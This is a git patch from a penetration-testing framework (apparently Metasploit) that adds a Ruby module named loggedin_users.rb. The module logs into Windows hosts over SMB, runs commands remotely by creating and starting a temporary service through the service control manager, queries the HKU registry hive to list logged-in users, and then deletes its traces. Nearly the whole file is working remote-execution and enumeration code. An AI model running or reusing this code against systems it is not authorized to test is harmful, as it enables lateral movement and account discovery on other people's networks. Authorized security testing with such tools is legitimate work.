From d5b18114ac59c8c711653895e4be67c87157b116 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Mon, 5 Nov 2012 16:37:13 -0600 Subject: [PATCH] New module loggedin_users.rb --- .../auxiliary/scanner/smb/loggedin_users.rb | 312 ++++++++++++++++++ 1 file changed, 312 insertions(+) create mode 100644 modules/auxiliary/scanner/smb/loggedin_users.rb diff --git a/modules/auxiliary/scanner/smb/loggedin_users.rb b/modules/auxiliary/scanner/smb/loggedin_users.rb new file mode 100644 index 0000000000..d445f431a3 --- /dev/null +++ b/modules/auxiliary/scanner/smb/loggedin_users.rb @@ -0,0 +1,312 @@ +#!/usr/bin/env ruby + +require 'msf/core' +require 'rex' +require 'rex/registry' +require 'fileutils' + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::DCERPC + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + def initialize + super( + 'Name' => 'SMB - Query Logged On Users', + 'Version' => '$Revision: 14976 $', + 'Description' => %Q{ + This module authenticates to a remote host or hosts and determines which users are currently logged in. It uses reg.exe + to query the HKU base registry key. + }, + 'Author' => + [ + 'Royce Davis ', # Metasploit module + 'Twitter: <[at]R3dy__>', + ], + 'References' => [ + ['URL', 'http://www.pentestgeek.conm'], + ['URL', 'http://www.accuvant.com'], + ], + 'License' => MSF_LICENSE + ) + + register_options([ + OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), + OptString.new('RPORT', [true, 'The Target port', 445]), + ], self.class) + + deregister_options('RHOST') + end + + + + #---------------------------------------- + # This is the main controller function + #---------------------------------------- + def run_host(ip) + cmd = "C:\\WINDOWS\\SYSTEM32\\cmd.exe" + bat = "C:\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" + text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" + smbshare = datastore['SMBSHARE'] + + #Try and Connect to the target + begin + connect() + rescue + return + end + + #Try and authenticate with given credentials + begin + smb_login() + rescue StandardError => autherror + print_error("#{ip} - #{autherror}") + return + end + + begin + keys = get_hku(ip, smbshare, cmd, text, bat) + keys.each do |key| + check_hku_entry(key, ip, smbshare, cmd, text, bat) + end + cleanup_after(smbshare, ip, cmd, text, bat) + rescue StandardError => bang + print_error("#{ip} - There was an error #{bang}") + return bang + end + end + + + #--------------------------------------------------------------------------------------- + # This method runs reg.exe query HKU to get a list of each key within the HKU master key + # Returns an array object + #--------------------------------------------------------------------------------------- + def get_hku(ip, smbshare, cmd, text, bat) + begin + # Try and query HKU + command = "#{cmd} /C echo reg.exe QUERY HKU ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}" + simple.connect(smbshare) + psexec(smbshare, command) + output = get_output(ip, smbshare, text) + cleanout = Array.new + output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")} + return cleanout + rescue StandardError => hku_error + print_error("#{ip} - Error runigy query against HKU. #{hku_error.class}. #{hku_error}") + return hku_error + end + end + + + + #----------------------------------------------------------------------------- + # This method will retrive output from a specified textfile on the remote host + #----------------------------------------------------------------------------- + def get_output(ip, smbshare, file) + begin + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue StandardError => output_error + print_error("#{ip} - Error getting command output. #{output_error.class}. #{output_error}.") + return + end + end + + + + #-------------------------------------------------------------------------- + # This method checks a provided HKU entry to determine if it is a valid SID + # Either returns nil or returns the name of a valid user + #-------------------------------------------------------------------------- + def check_hku_entry(key, ip, smbshare, cmd, text, bat) + begin + key = key.split("HKEY_USERS\\")[1].chomp + command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}" + simple.connect(smbshare) + psexec(smbshare, command) + output = get_output(ip, smbshare, text) + domain, username = "","" + output.each_line do |line| + domain << line if line.include?("USERDOMAIN") + username << line if line.include?("USERNAME") + end + if username && domain + print_good("#{ip} - #{domain.split(" ")[2].to_s}\\#{username.split(" ")[2].to_s}") + end + rescue StandardError => check_error + print_error("#{ip} - Error checking reg key. #{check_error.class}. #{check_error}") + return check_error + end + end + + + def cleanup_after(smbshare, ip, cmd, text, bat) + begin + # Try and do cleanup command + cleanup = "#{cmd} /C del C:#{text} & del #{bat}" + simple.connect(smbshare) + print_status("Executing cleanup on host: #{ip}") + psexec(smbshare, cleanup) + rescue StandardError => cleanuperror + print_error("Unable to processes cleanup commands: #{cleanuperror}") + return cleanuperror + end + end + + + #------------------------------------------------------------------------------------------------------------------------ + # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!! + # Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater + #------------------------------------------------------------------------------------------------------------------------ + def psexec(smbshare, command) + filename = "filename" + servicename = "servicename" + simple.disconnect(smbshare) + + simple.connect("IPC$") + + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("Bound to #{handle} ...") + + vprint_status("Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + displayname = "displayname" + holdhandle = scm_handle + svc_handle = nil + svc_status = nil + + stubdata = + scm_handle + + NDR.wstring(servicename) + + NDR.uwstring(displayname) + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("Attempting to execute #{command}") + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + vprint_status("Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + + vprint_status("Opening service...") + begin + stubdata = + scm_handle + + NDR.wstring(servicename) + + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + vprint_status("Starting the service...") + stubdata = + svc_handle + + NDR.long(0) + + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end + rescue ::Exception => e + print_error("Error: #{e}") + return + end + + vprint_status("Removing the service...") + stubdata = + svc_handle + + NDR.wstring("C:\\WINDOWS\\Temp\\sam") + begin + response = dcerpc.call(0x02, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end + rescue ::Exception => e + print_error("Error: #{e}") + end + + vprint_status("Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("Error: #{e}") + end + + begin + #print_status("Deleting \\#{filename}...") + select(nil, nil, nil, 1.0) + #This is not really useful but will prevent double \\ on the wire :) + if datastore['SHARE'] =~ /.[\\\/]/ + simple.connect(smbshare) + simple.delete("C:\\WINDOWS\\Temp\\sam") + else + simple.connect(smbshare) + simple.delete("C:\\WINDOWS\\Temp\\sam") + end + + rescue ::Interrupt + raise $! + rescue ::Exception + #raise $! + end + simple.disconnect("IPC$") + simple.disconnect(smbshare) + end + +end